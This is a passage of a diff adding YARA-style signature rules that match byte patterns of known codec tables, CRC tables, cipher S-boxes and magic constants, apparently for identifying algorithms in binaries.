+	$a0 = { 00003de47bc8462cf790ca748c58b1bc0f0132e574c9492df891c5758359bebd1e0223e665ca582ee992d476925aafbe11032ce76acb572fe693db779d5ba0bf3c0401e047cc7a28cb94f670b05c8db833050ee148cd7529c495f971bf5d82b922061fe259ce642ad596e872ae5e93ba2d0710e356cf6b2bda97e773a15f9cbb780845ec03c03e248f98b27cf450c9b477094aed0cc131258099bd7dfb51c6b5660a5bee1dc22026919aac7eea52d7b6690b54ef12c32f279e9ba37fe553d8b7440c79e83fc40220b39c8e78c854f5b04b0d76e930c50d21bc9d8179c755fab15a0e67ea21c61c22ad9e907ad656ebb2550f68eb2ec71323a29f9f7bd957e4b3f010cdf48bd8b63c07803a647c4841acff11c2f584d9b93d0881356573494eadee12d3f695daa83e19822466624a5faee113dcf79adba73f16832b676d4b50afcc14f1f0b7dc8a383b840660404c7da8c315fef1b8dd8539348509614f4d72a9d216eff2a9de943a258618625e4e63aadd17e0f3a6df9b3b2a871763514f6cab8818b5fcf3d0ce347f88426c044039a48719bafdfcd1c13570894d6d0b4136a5961aabfeedd2d036618a5c6e1a4227a6991ba4ffe2d3df376e8b536f154328a7b41c89f8cfd4f230438c7e68384405a0bb1d86f9c0d5fd314c8d716937450aa1aa1e97fad1d6ec325d8e606a26461ba2a51f98fbded7e333528f6f6b294714a3 }
+
+condition:
+	$a0
+}
+
+	
+rule RNG__original_numbers___32_lil_AND_
+{
+strings:
+	$a0 = { ffffff7f[0-20]c8ad0000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_60__flt64___64_big_960_
+{
+strings:
+	$a0 = { 3ff000000000000000000000000000003fefd31f9ffffffe3fbac2609fffffe23fef4cfc400000023fca9cd9c000000b3fee6f0e200000033fd3c6ef3fffffff3fed3bc39ffffffc3fda07f9200000063febb67adffffffe3fe00000000000003fe9e377a00000003fe2cf22ffffffff3fe7c7d7a00000043fe56984a00000033fe56984800000013fe7c7d7bffffffd3fe2cf22ffffffff3fe9e377a00000003fdfffffe00000073febb67b000000003fda07f8fffffffb3fed3bc3bffffffe3fd3c6ef200000063fee6f0e200000033fca9cd95ffffffc3fef4cfc400000023fbac25fe000000b3fefd31f9ffffffebe6777a5bd6ad3cd3ff0000000000000bfbac261600000003fefd31f9ffffffebfca9cda1ffffff63fef4cfc20000000bfd3c6ef5ffffff83fee6f0e00000001bfda07f95ffffff83fed3bc39ffffffc3ff000000000000000000000000000003fef4cfc400000023fca9cd9c000000b3fed3bc39ffffffc3fda07f9200000063fe9e377a00000003fe2cf22ffffffff3fe56984800000013fe7c7d7bffffffd3fdfffffe00000073febb67b000000003fd3c6ef200000063fee6f0e200000033fbac25fe000000b3fefd31f9ffffffebfbac261600000003fefd31f9ffffffebfd3c6ef5ffffff83fee6f0e00000001bfe00000200000023febb67adffffffebfe56984bffffffc3fe7c7d7a0000004bfe9e377c00000023fe2cf22dffffffdbfed3bc3bffffffe3fda07f8e0000002bfef4cfc400000023fca9cd900000011bff0000000000000be7777a5c1ebbfb5bfef4cfc20000000bfca9cda80000006bfed3bc39ffffffcbfda07f980000003bfe9e3777ffffffebfe2cf2340000003bfe569845fffffffbfe7c7d7bffffffd3ff000000000000000000000000000003fee6f0e200000033fd3c6ef3fffffff3fe9e377a00000003fe2cf22ffffffff3fe2cf22ffffffff3fe9e377a00000003fd3c6ef200000063fee6f0e200000033ff000000000000000000000000000003fe9e377a00000003fe2cf22ffffffff3fd3c6ef200000063fee6f0e20000003bfd3c6ef5ffffff83fee6f0e00000001bfe9e377c00000023fe2cf22dffffffd3ff000000000000000000000000000003fe2cf22ffffffff3fe9e377a0000000bfd3c6ef5ffffff83fee6f0e00000001bfee6f0e3ffffffc3fd3c6ee5ffffffabfe9e3777ffffffebfe2cf23400000033ff000000000000000000000000000003ff000000000000000000000000000003ff000000000000000000000000000003ff000000000000000000000000000003fd3c6efc0000007bfee6f0e00000001 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pow05_table__flt32___32_big_28_
+{
+strings:
+	$a0 = { 3fd744fd3fb504f33f9837f03f8000003f5744fd3f3504f33f1837f0 }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_40__witab__16_lil_64_
+{
+strings:
+	$a0 = { c001c0010003e004000520054007800ca0116016601b0023c02c003720420057005720420037c02c0023601b6016a011800c400720050005e0040003c001c001 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Detect_and_crash_SoftICE_with_an_illegal_form_of_the_instruction_CMPXCHG8B__8_byt_4_
+{
+strings:
+	$a0 = { f00fc7c8 }
+
+condition:
+	$a0
+}
+
+	
+rule Windows_CryptCreateHash__8_byt_STR_16_
+{
+strings:
+	$a0 = { 43727970744372656174654861736800 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_6__16_big_16_
+{
+strings:
+	$a0 = { b550c825d980e997f883075218112e18 }
+
+condition:
+	$a0
+}
+
+	
+rule SNOW_SBox_0__32_big_1024_
+{
+strings:
+	$a0 = { 40408000004080004040800410010844004108041040880440000804004100405001800010018804104188044040880410010840500180445040004440408040500100440041804050410040400100401000000010410844400080004040084400018000400100041001080410418840404108400041000440410044000008440041800400010000400088444041000000010840004000441001000050400040400000441001800400410844500100000001804000008800504188441000080400400840500088045001084050018800400188401040884450000840100008441001884400400040104008045001004010418844500080001000880040400000000080040040800410008040004080400040000400008000504180040000000450408800400000001000004410000800404188400000804400408044104008005041000040010000100088444001800050000044404088004041884450410840004188041041080040400840104100441001804050008800404000440041800010400044400008445000884000000040000180040041000010408840504188404000000450018844104008400041804400400800104008444041800010408004504080045040084050018840000088400001000450010804404008000040884010018044400080445040884050008040100100404001800450000800104080404000084040400004004108001041000050410800504008044041004010010004100180005001000400018044500180405041880040010044504080401001880050400004104080001041084010408044000008044041880000418840400000400041004410410004400188041040000000408844400088044000880000000000000088044040004010008044504088445001080040008004004008445040000000000800504100440001080450000040404088401041804440408044500088444041080000018840404100045040084410400040004188004000804040418004500080041001884010010044000100441000004050410004400108001040000440410844500188041000880410418040100080005000080410408800004088044041804400410840504180000000004450418044100000045000084440018040504080440000084050408000404088444001084440018044000100400040080410418000000108440000804050400800400108045000804450000000400088405000000410008840400108400040880010410804500180044041880440410804500108441000800440018844000188441041800400010800000088445040880410010800504108444001880050418804504180401041880050410804004000004040080410410040404180404000080000418844000188041000084000018800 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_audio_shuffle525__16_big_180_
+{
+strings:
+	$a0 = { 0000001e003c001400320050000a00280046000600240042001a003800560010002e004c000c002a004800020020003e00160034005200120030004e000800260044001c003a0058001800360054000e002c004a0004002200400001001f003d001500330051000b00290047000700250043001b003900570011002f004d000d002b004900030021003f00170035005300130031004f000900270045001d003b0059001900370055000f002d004b000500230041 }
+
+condition:
+	$a0
+}
+
+	
+rule Vorbis_FLOOR1_fromdB_LOOKUP__flt64___64_lil_2048_
+{
+strings:
+	$a0 = { fb2a62b687967c3ea9f8f81e21727e3ee7d743655136803e67f2a2780744813ee6cc176f4463823eca8ed50c2c95833e7dc664d2f4da843ed721ed64e935863e11c2030d6aa7873e1cbdebf1ed30893e8d3a5b6b04d48a3e25d1e0f056928c3ec9dab198aa6d8e3e0ae98703f133903ee3a0cd817f41913e0116a86c9260923eaf01382e4d92933ed2568130e6d7943e358ca2eba732963e3e3ee56ff2a3973ec6147a8a3c2d993e5f37179315d09a3e761c7bb2268e9c3e5c4b4dbb34699e3e65413df69031a03e3c0b4df0f73ea13e17f4ebc9e05da23e545790ba6e8fa33ec9f034ffd7d4a43e152790e8662fa63e0cc45d437ba0a73e1eada8c08b29a93ec29b145e27ccaa3e39f6f71cf789ac3e9cfc887bbf64ae3edb070543312fb03ecebc3db3703cb13e484042812f5bb23ef5419ca6908cb33e9d463d33cad1b43e96cb1456262cb63e3ea1af92049db73e7f119483db25b93e10f36fbb39c8ba3e069c3114c885bc3e4f3ca7e44a60be3e19826de1d12cc03e720b96e9e939c13e1a962fa97e58c23efa83810eb389c33e0ad531f1bccec43ecf81e447e628c63e3e98007a8e99c73ed43988bf2b22c93e493d29ab4cc4ca3e79b160c29981cc3ee39d78f9d65bce3e35b82ae5722ad03e4ea15f746337d13e5914a133ce55d23e6deeead8d586d33e7efcb318b0cbd43ea8414baaa625d63ede98e8d11896d73e322e39887c1ed93e25c4a82e60c0da3e5b2243f66b7ddc3e501d23b06357de3e8935593d1428e03e985fad61dd34e13e06bb96201e53e23e8062eb13f983e33e932dcdb0a3c8e43ef15c65926722e63e88658db6a392e73ececfb9ebcd1ae93e71a6db3774bcea3ee2021be13e79ec3e620cc31df152ee3e17faf8e9b525f03e4f467fb15732f13e1f8a10706e50f23e01ff6fb11c81f33eaff773b297c5f43e41110de4281ff63eba6457162f8ff73ea5ebdac61f17f93e2e17f1e988b8fa3e3fce9c4a1275fc3e979e910d7f4efe3e777613f25723003fcb5f7b50d22f013f8caa9c2cbf4d023f6f5d10c3407e033fee6449368cc2043fdac4a5b9ea1b063f759646f1ba8b073f46a084377213093fb6208f319eb40a3fe8cb3e5be6700c3f59c9e3be0d4a0e3fbed88956fa20103f4e1205594d2d113fe0b08445104b123f856ed839657b133f9451122881bf143ffbaa630aad18163fd8ad8c544788173f30541f2cc50f193f86291efdb3b01a3f9cc8cc1bbb6c1c3fa5598a0e9d451e3feb205c179d1e203ff7dd1eb5c82a213fda6994c36148223f4132c8158a78233f628a9a9076bc243f05aaacda6f15263fe5aa2940d484273f6307aba4180c293fe1970167caac2a3f78111a5390682c3f9d02b7092d412e3fada82525401c303f371c5f814428313f3ca297afb345323f8628dd6caf75333fa782175c6cb9343f7628e9183312363f1af485a26181373f20208bbb6c08393f8505d654e1a83a3f6059533a66643c3fb0ead0a9bd3c3e3fed8f6490e319403f05fa15a0c025413f1b3a10f90543423f393e662cd572433f43ba86a062b6443f3fe617d0f60e463f973cd388ef7d473f36785d4bc104493f53f298dcf8a44a3f6a80fac03c604c3fd67157f44e384e3fb37699538717503f59d7c2163d23513f63517cb05840523f5c736354fb6f533f3091676359b3543f60e33800bb0b563f756493e27d7a573f858f1f6a1601593f43bec90311a15a3f9f2690e1135c5c3f10984ae9e0335e3ffc0c84712b15603f05f46106ba20613f3068debfab3d623ff11715e2216d633fa7b77e7b50b0643fd27fcbae7f08663f805b82d30c77673f150652126cfd683f90192da1299d6a3ff35b53a4eb576c3f743d2c78732f6e3fcef2a4e4cf12703f5140b93a371e713f778e752fff3a723fee3bbadd486a733f5f3d061d48ad743f980b10d94405763fd67902479c73773fe6dbf443c2f9783ff8b37de342997a3f7e2866f7c3537c3ff321fbab062b7e3f1f4c8bb47410803f0a7094d9b41b813f2634000d5338823f5ba773407067833f92d2c21e40aa843fc51648710a02863f8a4f552f2c70873ff91008ff18f6883fa1ad3eaf5c958a3f1b6c45f69c4f8c3f8d45b7849a268e3ff9e057da190e903f4bdb55ce3219913f4b852f4ea735923f35f6b00d9864933f01635fad38a7943f2ab9cf99d0fe953f8eb0c996bc6c973f44dd6a4a70f2983f6a4a7d1c77919a3ff90e957e764b9c3f2f181f102f229e3f574d7a59bf0ba03ff9299b2db116a13feae593effb32a23f7492994ac061a33fed34799a31a4a43f00a36b2997fba53fc67645904d69a73fe7fc0f0ec8eea83f74462c13928daa3ff4221aaa5047ac3ffb552536c41dae3f3778ce326509b03f35317bde2f14b13ff41058fc5030b23f187c2df7e85eb33f37d789fb2aa1b43f2fe049315ef8b53f5e0db8fdde65b73fba04086820ebb83fbfa14b93ad89ba3f0da8d4782b43bc3fc01626195a19be3fa1de08620b07c03ff4f68ce9ae11c13f7500e56ba62dc23f2630210f125cc33fd54f28d9249ec43fb7706ab125f5c53f4ff76ce37062c73fce6b704b79e7c83f346809aec985ca3f688cffd0063fcc3fd230007df014ce3f8d0375ebb104d03f95cb6f662e0fd13ff66fc937fc2ad23fb22592853b59d33ff00944151f9bd43f92d718aeedf1d53f7546295b035fd73fb26a8cadd2e3d83f49ded669e681da3fd3e7f6d4e23adc3fd85020a28710de3f0264c7ca5802e03f0678da33ae0ce13fe2a90d6f5228e23fa8e562676556e33f9fb9dacc1998e43f02344226b6eee53f308b604e965be73fc551fba52ce0e83fabad7da6037eea3fb6c7e269bf36ec3f0e59935d1f0cee3f000000000000f03f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_interleaved_dirac_golomb_vlc_code__8_byt_256_
+{
+strings:
+	$a0 = { 00010000020301010000000000000000040502020607030301010101010101010000000000000000000000000000000000000000000000000000000000000000080904040a0b050502020202020202020c0d06060e0f0707030303030303030301010101010101010101010101010101010101010101010101010101010101010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x82F63B78__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000783bf682884d1a87f076ec0568a0c28c109b340ee0edd80b98d62e89a87b739bd04085192036691c580d9f9ec0dbb117b8e047954896ab9030ad5d1228cc10b450f7e636a0810a33d8bafcb1406cd238385724bac821c8bfb01a3e3d80b7632ff88c95ad08fa79a870c18f2ae817a1a3902c5721605abb2418614da628a3d7ea50982168a0eecd6dd8d53bef400315663838e3e4c84e0fe1b075f96380d8a471f8e352f30895bef670ae4874e87866fd9043907f60357c7a180e8af8006fc75e785431dc8822ddd9f0192b5b68cf05d210f4f350e0821f5598b9e9d7a814b4c5d02f42472059ae42586258c0c0b47649b88f80cb48f96cce30c29a4c287d59575046afd5a03043d0d80bb55240dd9bdb38e66d59c890815cb0ab77de80062accf83ddc4e084b304b7070c6c9e8a6e840909d1ec260ebf2c718d0044500b149e3788abf6188fc5364f0c7a5e668118b6f102a7dede05c91e89867676aa8ca3a78d0f1ccfa208720ff58bcd67dc06af8f4b8510e764827e273301c14f100de8ebd78e5783f8893943af0a862b8687e4c311045bab3e03356b69808a034a8a5fd26d09e0ba420e8e7a158d31123c0053faab83ec9284848252d3073d3af28129e095029688ba05f848ed864720c40b25c853889aa07c8ff4602b0c4b0808069ed92f8521b100824f715701f0197e8c92f1e90f2d99c6084359918bfc31b50fab2ae28c1442cd8b7a829a08c5eab385a7022406186a0b0176aa5c82c9c27f881c13580ba37b770ccdbb208f72d30902103b9e81af53b186c193e6057efbc7836a21a000d5498f07bb89d88404e1f1096609668ad961498db7a11e0e08c93d04dd181a87627035800cb06203b3d84b8ed130dc0d6e58f30a0098a489bff0878596544006293c6f0147fc3882f894110f9a7c868c2514a98b4bd4fe08f4bcdd02216dfa819e05d586f0c582054fadab882d453c0b922d130cfced448f43856509575f028ae8372d8d86f77a0e399f53835b77c400e41feb078adfbc8435b79f8ee066b80d5f0e970a31cec0898ea6e904ec4e7e87532651803de60603828e27887ebf900bc1d7bf0caf17e88f107fc10272975681cdff7986a33f2e051c570d0fc9862a8c76ee058b182e5208a7467b85c5aeec067ac6c30114069482ab6eb504bfb4d28700dcfd806e1caa03d174838eb39c140d0cf43b0a62346c89dd5c4f83088d6800b7e54707d9251084664d390904a5ae8abbcd818dd50dd60e6a65f50243c13281fca91d8692694a052d0163884fe9f40bf081db0c9e418c8f2129af85f4f888064b90a7012550f0829a38d90ff8d04e8c47b8618b297836089610178e82ca700d3da25f0a53620889ec0a21048ee2b687318a99805f4ace03e022ed0935f3ca8a8a9be58de45bb20e5b339b8339db0c0086b32307e8737484571b5 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_5_USB_poly_0x05__8_byt_refl_False_
+{
+strings:
+	$a0 = { 00050a0f14111e1b282d22273c39363350555a5f44414e4b787d72776c696663a0a5aaafb4b1bebb888d82879c999693f0f5faffe4e1eeebd8ddd2d7ccc9c6c345404f4a51545b5e6d686762797c737615101f1a01040b0e3d383732292c2326e5e0efeaf1f4fbfecdc8c7c2d9dcd3d6b5b0bfbaa1a4abae9d989792898c83868a8f80859e9b9491a2a7a8adb6b3bcb9dadfd0d5cecbc4c1f2f7f8fde6e3ece92a2f20253e3b34310207080d16131c197a7f70756e6b64615257585d46434c49cfcac5c0dbded1d4e7e2ede8f3f6f9fc9f9a95908b8e8184b7b2bdb8a3a6a9ac6f6a65607b7e717447424d485356595c3f3a35302b2e212417121d180306090c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_syn_bw_tab__flt32___32_big_144_
+{
+strings:
+	$a0 = { 3f7d00003f7a09003f771ae53f7435943f7158f33f6e84e83f6bb9593f68f62d3f663b4a3f6388983f60ddfe3f5e3b643f5ba0b23f590dd03f5682a73f53ff1f3f5183223f4f0e993f4ca16d3f4a3b893f47dcd63f45853f3f4334af3f40eb113f3ea8503f3c6c573f3a37123f38086d3f35e0543f33beb33f31a3773f2f8e8d3f2d7fe13f2b77613f2974fb3f27789c }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_dither_8x8_220_3__8_byt_64_
+{
+strings:
+	$a0 = { 007c08c1008c0cd5370e682a4213773403a8019106bb03a2561f46156327521c00860bce008109c83e1172303a106d2d05b5029d04af01975f244e1a5a224a18 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_Beam_software_vb_patterns__16_big_128_
+{
+strings:
+	$a0 = { 0660ff00ccccf0008888000f1111fec88cef137ff731c800008c00133100cc0000cc003333000ff0666600f00f0022224444f6008cc8006f1331318cc81333cc66000cc000660330f900c88c009f31136000088000060110cc88fc0000cf88cc003f11333311f3006ff6060308c68c63c6316310c0600136136c36c86c80324c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_lspvq3__16_big_512_
+{
+strings:
+	$a0 = { 00e1011b05100163021f01570819011200cc044b061a020b056c00a10ae0011200700351074e00af04a500a005d2044003c9045b02930cfa048604310c6f0553020500df06cc00df02c001830a4d00ea02b403ed0507064a03b802140959028601ea022806530291034d029e06f808e800bf06ef01100b3403ae03b80a4405c701160243061d00da032e00b4094b00bb011405a404af04c704b0015d0bc101330138034c076a0132035f01d6069504d9020106bf02c708b9043d03600d46020f019e01b8054c026403c40093087d02e201d1050c036d06d5045002b10839051f02440360076702f0028c026105cd06a3020205780182085303a5031e09a903da014e0168055f018e026d0114088701180137045a05660327050400af0a2d027c00e6033006cb0198043200b0065304600310055b01c00bea04a503700bdf048d01a800f1068800ba032f014d09800144024804050471060a03f70249089603e3023e024506d2028702dd02e4079206c9015b06ae0175097d031304250987059e00b9021805d100b202bf00d8088201e7009a058d058603e2044f01600c0001d901980333080700a803e60162077d04740299070703e108a504d202770bbb02fa0175026c05ee01a90391012c07ae0344019204a103b405690461022b070a05e501da03760760026202e3024904cf094b0295053700cd08a30337033609b0049b }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_A5_1_goodBtoA__8_byt_15_
+{
+strings:
+	$a0 = { 24fd35a35d5fb6526d32f906df1ac0 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_sfb_48_120__16_lil_28_
+{
+strings:
+	$a0 = { 040008000c00100014001c0024002c00380044005000600070007800 }
+
+condition:
+	$a0
+}
+
+	
+rule RC5_and_RC6_magic_values__0xb7e15163L_0x9e3779b9L___32_big_AND_
+{
+strings:
+	$a0 = { b7e15163[0-20]9e3779b9 }
+
+condition:
+	$a0
+}
+
+	
+rule Anubis_T0__32_lil_1024_
+{
+strings:
+	$a0 = { f5a653a7d06bbbd36ebfd1e63bd9e271da67bdd0cf8a45acb3299a4d0bf9f2799ce8743a8c038fc9417e3f9132d7e5fc44783c1e8f018e47e54da854a9ce67bd0f0a058cf9ae57a501f5f47a20cbebfb5791c663b7da6db8f453a7ddc277b5d464b3d7e58df67bb3a43397c5a3c261bed19e4fa9171a0d882830180cebb259a296e47239f85ba3dff6a45229e64fa9dafaac562bd79a4da8800b8bcbb52d984ca731964bcc884422db9249aad89048249b1982413ddde070f3a251a62cc3eff9c175b45a76afd9e287fa7db0b4d86c3613e9fa7d62b7d5e4aacc663338dbe3ff5d9dc060c0804020302010081d160b8bd965bc5edd964bab1fe1fe7f0dfdf07815edf87ce8b0582cef41ae57d66fb9d2f257a5dc73a9da6d19e5fc7e2e341a0df751a6535f6a3594b02b9bc3f0a05028d29c4e2714180c06df61be5fc98e47ad4f81ce67d56db85ce349aa55ad3d904824381c0ef155a452468fc9ea91158442c771b65bd369ba5da0c06030cd7db058fb59a251cb79b25988f0783cb9259c4e90e070381b12098a31d5e4727850281468bbd3e7ae3f91c6fe5fa1defd5da0500302018e4b723992dc63bfd12fc1ee774d763b9383098a457b52299a9e1f81ceeeb45a2d0a0c06035195c46293e271b6b1de6fb9a5c663bf5362319667b1d66b82fc7e3f121c0e076c482412c38241ae9d1d8040b8d0683489058c4684f87c3ee04babdb981b83cf5297c5ec921785ccbc239fc1e1be5fa1ba279dc0ce7fb1d64e743a1d02f7f5f45b99c2619aec763b60402010ea47add86dbdd068e7ba5da081fe7fb13c28140a6bb9d26975add86cab39924926cfe9fa29c5ec76a23795c46342219e7d562b9b79a5dc6e715e2f99b62f99c295e673b7775a2d98afca65bc0506038f392e1785427c3e1f9fea75b42ac7edf866442211e4b85c2e00000000de944a254870381cfca8542a8ef47a3d1e140a05bf219e4f07f1f67b8bf279b2acc86432477a3d90c58643af56643219edb65ba308fbf3f737d1e673694e279d7e542a1525cde8745e9fc1ee860f89ca6546239f223c1e0f5a6c361b23c9ea75332211863f2a15846f4a259ca135944a556633975c68341a4389ca650efff1f65493c7ed36241209bdd66bbbd4984c262d361b83408bcbeb7fa1de6f213e1f811810080461b5d46a9711864306040201725c2e177ca3dfe13526138704f3f7f5090e078d70abdbe3ca8c4623273a1d80850d884474582c164985cc66c68442213edfe1fec473b7d5a6c46231ec43afd9bed46a35506030180c080402458dc86416eff9f21ce3fff1e945ac56941387cd2b3219828a078dc8bbd269ba1ae7fdf0589bc3ef4c83cfe94a87cde834d3e7fd111e0f89c87bb3d7a83b93c799ee77b5ffaa55a4e2bc5e2f596e37956a4c26133a2c160b10ebfbf37aa7dde0b2dc6e37 }
+
+condition:
+	$a0
+}
+
+	
+rule CP850andASCIItable__8_byt_126_
+{
+strings:
+	$a0 = { 00fce9e2e4e90000ea00e800eeecc400c90000f4f6f2fbf900d6dc0000000000e1edf3fa0000000000000000000000000000000000c1c2c0000000000000000000c1c200c4000000c8c9ca00cccdce000000cadad400cdce00d9dadbdc00ccdfe9dfd4d2e4000000e8d3dbd9ecedee000000f2f3f400f60000f9fafbfc00 }
+
+condition:
+	$a0
+}
+
+	
+rule OpenJPEG_dwt_norms__flt32___32_lil_148_
+{
+strings:
+	$a0 = { 0000803f0000c03f000030400000ac4048e12a4152b8aa4114ae2a42f6a8aa4233b32a4366a6aa432fdd843fa8c6cb3fe5d03a40fa7eb640ae473541b81eb54100003542c3f5b44266e634432fdd843fa8c6cb3fe5d03a40fa7eb640ae473541b81eb54100003542c3f5b44266e634432bf6373f16fb6b3f0c02cb3f83c04240a69bc040f62840410000c04148e13f4229dcbf42 }
+
+condition:
+	$a0
+}
+
+	
+rule ACSS_reverse_sbox__32_big_1024_
+{
+strings:
+	$a0 = { 000000000000008000000040000000c000000020000000a000000060000000e0000000100000009000000050000000d000000030000000b000000070000000f0000000080000008800000048000000c800000028000000a800000068000000e8000000180000009800000058000000d800000038000000b800000078000000f8000000040000008400000044000000c400000024000000a400000064000000e4000000140000009400000054000000d400000034000000b400000074000000f40000000c0000008c0000004c000000cc0000002c000000ac0000006c000000ec0000001c0000009c0000005c000000dc0000003c000000bc0000007c000000fc000000020000008200000042000000c200000022000000a200000062000000e2000000120000009200000052000000d200000032000000b200000072000000f20000000a0000008a0000004a000000ca0000002a000000aa0000006a000000ea0000001a0000009a0000005a000000da0000003a000000ba0000007a000000fa000000060000008600000046000000c600000026000000a600000066000000e6000000160000009600000056000000d600000036000000b600000076000000f60000000e0000008e0000004e000000ce0000002e000000ae0000006e000000ee0000001e0000009e0000005e000000de0000003e000000be0000007e000000fe000000010000008100000041000000c100000021000000a100000061000000e1000000110000009100000051000000d100000031000000b100000071000000f1000000090000008900000049000000c900000029000000a900000069000000e9000000190000009900000059000000d900000039000000b900000079000000f9000000050000008500000045000000c500000025000000a500000065000000e5000000150000009500000055000000d500000035000000b500000075000000f50000000d0000008d0000004d000000cd0000002d000000ad0000006d000000ed0000001d0000009d0000005d000000dd0000003d000000bd0000007d000000fd000000030000008300000043000000c300000023000000a300000063000000e3000000130000009300000053000000d300000033000000b300000073000000f30000000b0000008b0000004b000000cb0000002b000000ab0000006b000000eb0000001b0000009b0000005b000000db0000003b000000bb0000007b000000fb000000070000008700000047000000c700000027000000a700000067000000e7000000170000009700000057000000d700000037000000b700000077000000f70000000f0000008f0000004f000000cf0000002f000000af0000006f000000ef0000001f0000009f0000005f000000df0000003f000000bf0000007f000000ff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_asus_v1_v2_asv2_level_tab__8_byt_208_
+{
+strings:
+	$a0 = { 3f0a2f0a370a270a3b0a2b0a330a230a3d0a2d0a350a250a390a290a310a210a1f0817081b0813081d081508190811080f060b060d0609060000000000000000070405040000000000000000000000000302000000000000000000000000000000050000000000000000000000000000020200000000000000000000000000000404060400000000000000000000000008060c060a060e0600000000000000001008180814081c0812081a0816081e08200a300a280a380a240a340a2c0a3c0a220a320a2a0a3a0a260a360a2e0a3e0a }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_exp_table__flt32___32_big_504_
+{
+strings:
+	$a0 = { 3f0000003e8000003e0000003d8000003d0000003c8000003c0000003b8000003b0000003a8000003a00000039800000390000003880000038000000378000003700000036800000360000003580000035000000348000003400000033800000330000003280000032000000318000003100000030800000300000002f8000002f0000002e8000002e0000002d8000002d0000002c8000002c0000002b8000002b0000002a8000002a00000029800000290000002880000028000000278000002700000026800000260000002580000025000000248000002400000023800000230000002280000022000000218000002100000020800000200000001f8000001f0000001e8000001e0000001d8000001d0000001c8000001c0000001b8000001b0000001a8000001a00000019800000190000001880000018000000178000001700000016800000160000001580000015000000148000001400000013800000130000001280000012000000118000001100000010800000100000000f8000000f0000000e8000000e0000000d8000000d0000000c8000000c0000000b8000000b0000000a8000000a00000009800000090000000880000008000000078000000700000006800000060000000580000005000000048000000400000003800000030000000280000002000000018000000100000000800000 }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_lengthStarts__16_big_58_
+{
+strings:
+	$a0 = { 0003000400050006000700080009000a000b000d000f001100130017001b001f0023002b0033003b0043005300630073008300a300c300e30102 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_sol_table_16__32_lil_512_
+{
+strings:
+	$a0 = { 0000000008000000100000002000000030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000000010000100100002001000030010000400100005001000060010000700100008001000090010000a0010000b0010000c0010000d0010000e0010000f00100000002000008020000100200001802000020020000280200003002000038020000400200004802000050020000580200006002000068020000700200007802000080020000880200009002000098020000a0020000a8020000b0020000b8020000c0020000c8020000d0020000d8020000e0020000e8020000f0020000f80200000003000008030000100300001803000020030000280300003003000038030000400300004803000050030000580300006003000068030000700300007803000080030000880300009003000098030000a0030000a8030000b0030000b8030000c0030000c8030000d0030000d8030000e0030000e8030000f0030000f8030000000400004004000080040000c0040000000500004005000080050000c0050000000600004006000080060000c0060000000700004007000080070000c00700000008000000090000000a0000000b0000000c0000000d0000000e0000000f0000001000000014000000180000001c0000002000000030000000400000 }
+
+condition:
+	$a0
+}
+
+	
+rule base64_decoding_table__32_lil_512_
+{
+strings:
+	$a0 = { 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e0000000000000000000000000000003f0000003400000035000000360000003700000038000000390000003a0000003b0000003c0000003d00000000000000000000000000000000000000000000000000000000000000000000000100000002000000030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000001400000015000000160000001700000018000000190000000000000000000000000000000000000000000000000000001a0000001b0000001c0000001d0000001e0000001f000000200000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d0000002e0000002f000000300000003100000032000000330000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Turing_multab__32_lil_1024_
+{
+strings:
+	$a0 = { 0000000067432bd0ce8656eda9c57d3dd141ac97b60287471fc7fa7a7884d1aaef82156388c13eb32104438e4647685e3ec3b9f459809224f045ef199706c4c993492ac6f40a01165dcf7c2b3a8c57fb42088651254bad818c8ed0bcebcdfb6c7ccb3fa51b881475b24d6948d50e4298ad8a9332cac9b8e2630cc5df044fee0f6b9254c10cd17f11a514022cc25729fcbad3f856dd90d3867455aebb1316856b841041a2e3536a724a96174f2dd53c9f5551ed353212c6e59bd7bbd8fc949008f8db7e079f9855d7365d28ea511e033a299ad2904ed9f940e71c847d805fafad17596b64701a40b4d9df3d89be9c1659c618c7f3a15bec23089e911e6fddbaced669a8cfb12a831f18effe227facd5f207280458606b2f88c9ae52b5aeed796539ebbdac5ea8967cf76deb41902ec091e8aa113b8fe93aeb262c47d6416f6c06452082092263a9d98ba6d4e4ece5ff3494612e9ef322054e5ae778733da453a3aaa2976acde1bcba6424c1870367ea577be33bfd1ca0102db5656d10d22646c0bdfbfc0edab8d7de737daae3143e81336cba50990bf97b49a23c0674c57f2da45279e96d353ac2bd9cffbf80fbbc9450833845fae47b6e2a4dbe13172afd38c72eb2d6c849f1fd18e03480258777abf5fff37a5f98b0518f31752cb256360762c130c3aba673e87b0fb6954668f5be9610716f3c773244ecdef739d1b9b41201e1d21dd3869136032f544b3e481760ee3093b14457d09a94fe15e